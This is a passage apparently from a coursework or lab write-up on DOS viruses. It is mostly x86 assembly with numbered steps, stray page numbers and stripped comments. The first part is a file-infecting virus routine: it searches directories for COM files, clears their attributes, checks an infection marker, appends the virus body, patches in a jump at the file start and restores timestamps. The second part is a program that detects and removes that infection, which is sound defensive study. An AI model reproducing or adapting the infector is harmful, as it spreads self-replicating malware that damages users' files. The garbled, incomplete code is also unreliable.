lea bx, (savecurdir - (byte_103+4Dh))[bp]

push bx

retf

infect1:

lea dx, (a_com - (byte_103+4Dh))[bp]

call infect_directory ; 

11)

lea dx, (a__ - (byte_103+4Dh))[bp] ; ".."

mov ah, 3Bh

int 21h

12)

jnb short infect1 

13)

lea di, (slash - (byte_103+4Dh))[bp]

mov byte ptr [di], 5Ch ; \

mov ah, 3Bh

xchg dx, di

int 21h

14)

mov ah, 1Ah

mov dx, ds:(word_467 - (byte_103+4Dh))[bp]

int 21h

15) -

return:

push cs
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mov cx, 155h

and cx, 100h

xchg ax, cx

push ax

retf

16) -

infect_directory proc near

mov ah, 4Eh ; -

mov cx, 7

17)

findfile:

int 21h

jb short nullsub_1

18)

mov ax, 4300h

lea dx, 

int 21h

jnb short loc_305

jmp findnext

loc_305:

mov ss:(attrib - (byte_103+4Dh))[bp], cx ;

19)

mov ax, 4301h

xor cx, cx

int 21h

jnb short openfile

14



jmp findnext

20)

openfile:

mov ax, 3D02h -

lea dx, (DTA.szFilespec - (byte_103+4Dh))[bp]

int 21h

jnb short loc_323 ; ;

jmp restoreattr ;

loc_323:

xchgax, bx

21)

mov ah, 3Fh

mov cx, 4

lea dx, (buffer - (byte_103+4Dh))[bp]

int 21h

jb short loc_35C ;

22)

cmp word ptr ds:(buffer - (byte_103+4Dh))[bp], 5A4Dh

jnz short its_com -

jmp closefile -

its_com:

15



cmp byte ptr cs:(buffer+3 - (byte_103+4Dh))[bp], 58h ; 4-

h

jnz short check_size 

jmp short check_infection ;

23)

check_size:

mov ax, word ptr cs:(DTA.lSize - (byte_103+4Dh))[bp]

push ax

push ax

cmp ax, 63535

jbe short loc_357 ; ;

jmp closefile

loc_357:

cmp ax, 3840

jnb short save_datetime ; ;

loc_35C:

jmp closefile

save_datetime:

pop ax

pop di

sub ax, 3

mov byte ptr ss:(vir_offs -(byte_103+4Dh))[bp], al

mov byte ptr ss:(vir_offs+1 - (byte_103+4Dh))[bp], ah

24)

mov ax, 5700h
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int 21h

jnb short loc_376

jmp closefile

25)

loc_376:

mov ss:(time - (byte_103+4Dh))[bp], cx

mov ss:(date - (byte_103+4Dh))[bp], dx

26)

mov ax, 4200h

xor cx, cx

mov dx, di

int 21h

jnb short append_virus 

jmp short restoredatetime ;

27)

check_infection:

pusha

mov dx, word ptr ds:(buffer+1 - (byte_103+4Dh))[bp]

add dx, 3

mov ax, 4200h

xor cx, cx

int 21h

28)

mov ah, 3Fh

mov cx, 4

17



lea dx, (dword_4B7 - (byte_103+4Dh))[bp]

int 21h

29)

cld

lea si, (dword_4B3 - (byte_103+4Dh))[bp]

lea di, (dword_4B7 - (byte_103+4Dh))[bp]

repe cmpsb

popa

jnz short check_size 

jmp short closefile

30)

append_virus:

mov ah, 40h -

mov cx, 26Bh

nop

lea dx, (start_0 - (byte_103+4Dh))[bp]

int 21h

jnb short loc_3C9

jmp short restoredatetime 

31)

loc_3C9:

mov ax, 4200h

xor cx, cx

xor dx, dx

int 21h

jnb short loc_3DC

pusha

call clear

popa

18



jmp short restoredatetime ;

32)

loc_3DC:

mov cs:(jump - (byte_103+4Dh))[bp], 0E9h ;

mov ah, 40h

mov cx, 4

lea dx, (jump - (byte_103+4Dh))[bp]

int 21h

jnb short restoredatetime ;

pusha

call clear

popa

jmp short restoredatetime ;

infect_directory endp 

33)

clear

proc near

mov ax, 4200h

xor cx, cx

mov dx, di

int 21h

xor cx, cx

mov ah, 40h
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int 21h

retn

clear endp

34)

restoredatetime:

mov ax, 5701h

mov cx, ss:(time - (byte_103+4Dh))[bp]

mov dx, ss:(date - (byte_103+4Dh))[bp]

int 21h

35)

closefile:

mov ah, 3Eh

int 21h

36)

restoreattr:

mov ax, 4301h

lea dx, (DTA.szFilespec - (byte_103+4Dh))[bp]

mov cx, ss:(attrib - (byte_103+4Dh))[bp]

int 21h

37)

findnext:

mov ah, 4Fh;

jmp findfile ;

2.	 	

start:
mov ax,@data

mov ds,ax

20



mov es,ax

mov ah, 1Ah -

lea dx, DTA

int 21h

lp:call curedir

lea dx,pp

mov ah, 3Bh -

int 21h

jnb lp

mov ah,1

int 21h

mov ax,4c00h

int 21h

not_inf:
lea si,msg1
call outstr
jmp close

;ds:si -

outstr proc
mov ah,2

os1: mov dl,[si]
cmp dl,0

jz ose

int 21h

inc si

jmp os1

ose: ret

outstr endp

curedir proc

lea dx,msk
mov ah, 4Eh -
mov cx, 7

1)
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slp: int 21h

jnb q1

jmp fin

q1: lea si,DTA+1eh

call outstr

2)

mov ax,4301h -

lea dx,DTA+1eh

xor cx,cx

int 21h

3)

mov ax,3d02h -

lea dx,DTA+1eh

int 21h

jnb q2

jmp restor

4)

q2: mov bx,ax

mov ah,3fh -

mov cx,4

lea dx,sig1

int 21h

5)

jz q3

jmp not_inf

q3: -

jz q4

jmp not_inf

6)

q4:

add dx,3
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xor cx,cx

mov ax,4200h -

int 21h

mov ah,3fh -

mov cx,4

lea si,sig2

mov cx,4 -

rep cmpsb

jz q5

jmp not_inf

7)

q5: lea si,msg2

call outstr

8)

mov ax,4201h -

xor cx,cx

mov dx,1d2h

int 21h

jnc q6

jmp err

q6:

mov ah,3fh -

mov cx,4

int 21h

jc err

xor dx,dx

xor cx,cx

mov ax,4200h -
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int 21h

jc err

mov ah,40h -

mov cx,4 -

int 21h

jc err

add dx,3

-

jc err

xor cx,cx

mov ah,40h -

int 21h

jc err

lea si,msg3

call outstr

date_back:

mov ax,5701h -

mov cx,word ptr DTA+16h

mov dx,word ptr DTA+18h

int 21h

-

int 21h ;

9)

restore_attr:       
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mov ax,4301h -

xor cx,cx

int 21h

10)

mov ah,4fh -

jmp slp

fin: ret

err:

call outstr ;

jmp date_back ;

curedir endp

end start

	

-
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